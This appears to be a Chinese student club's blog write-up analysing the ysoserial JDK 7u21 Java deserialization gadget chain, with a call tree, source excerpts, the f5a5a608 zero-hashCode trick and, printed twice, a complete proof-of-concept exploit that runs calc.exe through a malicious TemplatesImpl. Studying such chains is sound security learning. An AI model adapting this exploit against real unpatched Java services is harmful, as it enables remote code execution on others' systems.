皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~
-
2020级 sp4c1ous | JAVA反序列化之 7u21
-
前言
-
前置
-
分析
-
动调分析
-
分析 ysoserial 的 POC 构造
-
小结
2020级 sp4c1ous | JAVA反序列化之 7u21
前言
反序列化的核心是什么?
在 P牛的理解里,Java 反序列化的核心在于触发 动态执行方法 的地方
比如,在 CommonsCollections 中的核心就是 Transformer ,尤其是 InvokeTransformer、InstantiateTransformer
而 CommonsBeanutils 的核心则是 getProperty
前置
环境配置
先下好 JDK7u21
简单测试
分析
ysoserial Gadget
/*
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
*/
AnnotationInvocationHandler::equalsImpl
在之前的反序列化链中我们也有过不少调用个这个类的地方,不过这里要用到的是一个新的方法,equalsImpl
这里很清楚的有几处调用,其中 invoke 这个反射调用尤为显眼。
同时跟一下这里的参数 var5 可以发现,这里是将类中所有方法遍历执行了。那么如果这里的类是 Templates ,则势必会调用到 newTransformer() 或 getOutputProperties() 了,进而动态加载字节码,执行
这也就是 JDK7u21 的核心
如何调用到 equalImpl
这里确定了 P牛所说的关键 触发动态执行方法的地方 之外,还有就是如何调用这里的问题在我看来这两者合起来才是一条链子的关键
这里可以看到我们的 equalsImpl 方法在 invoke 中被调用了
那么 AnnotationInvocationHandler::invoke 是否让我们感觉到眼熟呢?
我们当时在 CC1 的学习中,用到了动态代理
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
我们当时使用了这样的一段代码,利用动态代理来讲这个对象用 Proxy 进行代理,在 readObject 的时候只要调用任意方法,就会进入到 AnnotatingInvocationHandler 的 invoke 方法中
关于这一部分的详情可以回去 CC1 再看一遍,我也回去再看了一遍,理解得不够深很多东西虽然隔了也就十天但是已经有些忘了
InvocationHandler是一个接口,他只有一个方法invoke:
public interface InvocationHandler {
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable;
}
在使用 java.reflect.Proxy 动态绑定一个接口时,如果调用该接口中任意一个方法,会执行到 InvocationHandler#invoke 。执行invoke时,被传入的第一个参数是这个proxy对象,第二个参数是被执行的方法名,第三个参数是执行时的参数列表
而 AnnotationInvocationHandler 就是一个 InvocationHandler 接口的实现,我们看看它的 invoke 方法:
可见,当方法名等于“equals”,且仅有一个Object类型参数时,会调用到 equalImpl 方法。
所以,现在的问题变成,我们需要找到一个方法,在反序列化时对 proxy 调用 equals 方法。
equals方法调用链寻找
在比较 Java 对象时,我们常用到两个方法:
-
equals
-
compareTo
任意Java对象都拥有 equals 方法,它通常用于比较两个对象是否是同一个引用;而 compareTo 实际上是 java.lang.Comparable 接口的方法,通常被实现用于比较两个对象的值是否相等。
一个常见的会调用equals的场景就是集合set。set中储存的对象不允许重复,所以在添加对象的时候,势必会涉及到比较操作。
所以我们来看到 HashSet 的 readObject 方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
可见,这里使用了一个 HashMap,将对象保存在 HashMap 的 key 处来做去重。
所以,为了触发比较操作,我们需要让比较与被比较的两个对象的哈希相同,这样才能被连接到同一条链表上,才会进行比较。
跟进最后的 HashMap 的 put 方法
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
可以看到 key.equals ,机会就在这里了
所以,我们接下来的目的就是为了让proxy对象的“哈希”,等于TemplateImpl对象的“哈希”。
Magic Number
计算“哈希”的主要是下面这两行代码:
int hash = hash(key);
int i = indexFor(hash, table.length);
将其中的关键逻辑提权出来,可以得到下面这个函数:
public static int hash(Object key) {
int h = 0;
h ^= key.hashCode();
h ^= (h >>> 20) ^ (h >>> 12);
h = h ^ (h >>> 7) ^ (h >>> 4);
return h & 15;
}
这一部分在看 HashMap 的时候实际上都看过了,这里除了 key.hashCode() 外再没有其他变量,所以proxy对象与TemplateImpl对象的“哈希”是否相等,仅取决于这两个对象的 hashCode() 是否相等。TemplateImpl的 hashCode() 是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的,所以想让proxy的 hashCode() 与之相等,只能寄希望于 proxy.hashCode()
proxy.hashCode() 仍然会调用到 AnnotationInvocationHandler#invoke
,进而调用到 AnnotationInvocationHandler#hashCodeImpl
,我们看看这个方法:
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue());
}
return result;
}
遍历 memberValues 这个Map中的每个key和value,计算每个 (127 * key.hashCode()) ^ value.hashCode()
并求和。
JDK7u21中使用了一个非常巧妙的方法:
-
当 memberValues 中只有一个key和一个value时,该哈希简化成 (127 * key.hashCode()) ^ value.hashCode()
-
当 key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成 value.hashCode() 。
-
当 value 就是TemplateImpl对象时,这两个哈希就变成完全相等
所以,我们找到一个hashCode是0的对象作为 memberValues 的key,将恶意TemplateImpl对象作为 value,这个proxy计算的hashCode就与TemplateImpl对象本身的hashCode相等了。
找一个 hashCode 为 0 的对象,我们可以写一个简单的爆破程序来实现:
public static void bruteHashCode() {
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0)
{ System.out.println(Long.toHexString(i));
}
}
}
运行了挺长时间,跑出来第一个是 f5a5a608 ,这个也是ysoserial中用到的字符串。
利用链梳理
构造
首先写好恶意的 TemplateImpl
实例化 AnnotationInvocationHandler 对象
-
它的type属性是一个 TemplateImpl 类
-
它的memberValues属性是一个Map,Map只有一个key和value,key是字符串 f5a5a608 ,value 是前面生成的恶意 TemplateImpl 对象
对这个 AnnotationInvocationHandler 对象做一层代理,生成proxy对象
实例化一个HashSet,这个HashSet有两个元素,分别是:
-
TemplateImpl 对象
-
proxy 对象
将 HashSet 对象进行序列化
触发
-
触发HashSet的readObject方法,其中使用HashMap的key做去重 -
去重时计算HashSet中的两个元素的 hashCode() ,因为我们的精心构造的二者相等,进而触发 equals() 方法 -
调用 AnnotationInvocationHandler#equalsImpl 方法 -
equalsImpl 中遍历 this.type 的每个方法并调用 -
因为 this.type 是TemplatesImpl类,所以触发了 newTransform() 或 getOutputProperties() 方法 -
任意代码执行
完整 poc 如下(改了一下)
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class JDK7u21 {
public static class StubTransletPayload extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath((new ClassClassPath(StubTransletPayload.class)));
CtClass clazz = pool.get((StubTransletPayload.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("sp4c1ous");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] { clazz.toBytecode() });
setFieldValue(templates, "_name", "HelloTemplatesTmpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
不过这个 POC 并没有成功运行,因为我懒了,用了之前的高版本的 Javassist 低版本的 JVM 解析不了
动调分析
我们从 HashSet 的 readObject 进入,在最后的 put 进入 HashMap 的 put
之后就是我们之前所说的设计与触发代理的过程
最终构造好了相等
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
完事
分析 ysoserial 的 POC 构造
先看到下面,这里有一处检验版本的地方
java
public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
}
以及以对应版本来运行这个 payload 的操作
java
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jdk7u21.class, args);
}
然后分析 POC 的主要逻辑。
新建恶意 Templates
然后是前面爆破出来用来异或的字符串,用来 AnnotationInvocationHandler#hashCodeImpl
java
String zeroHashCodeStr = "f5a5a608";
然后把这个值 HashMap.put 进去,值随便设置一个就可以
然后起代理
java
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
接下来是对 HashSet 也就是我们的入口的一个定义,不过这里要使用 LinkedHashSet ,因为在我们需要迭代的顺序为插入顺序或者访问顺序的情况下,LinkedHashSet 便是用来解决这一问题的
java
set.add(templates);
set.add(proxy);
把我们的构造好的 templates 和 代理 加到 HashMap 里,利用的就是 LinkedHashSet
java
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
这里设置了两个参数,在后续尝试之中不设置问题也不大,应该又是 ysoserial 出于某种考虑吧
最后将 恶意 Templates put 到 HashMap 中 zeroHashCodeStr 下即可
最终构造出的 POC
java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class JDK7u21 {
public static class StubTransletPayload extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath((new ClassClassPath(StubTransletPayload.class)));
CtClass clazz = pool.get((StubTransletPayload.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("sp4c1ous");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] { clazz.toBytecode() });
setFieldValue(templates, "_name", "HelloTemplatesTmpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "sp4c1ous");
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
小结
有些过于复杂了… 挖出这种洞的到底是什么神仙啊
原文始发于微信公众号(山警网络空间安全实验室):皮蛋厂的学习日记 | 2022.4.10 JAVA反序列化之 7u21
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论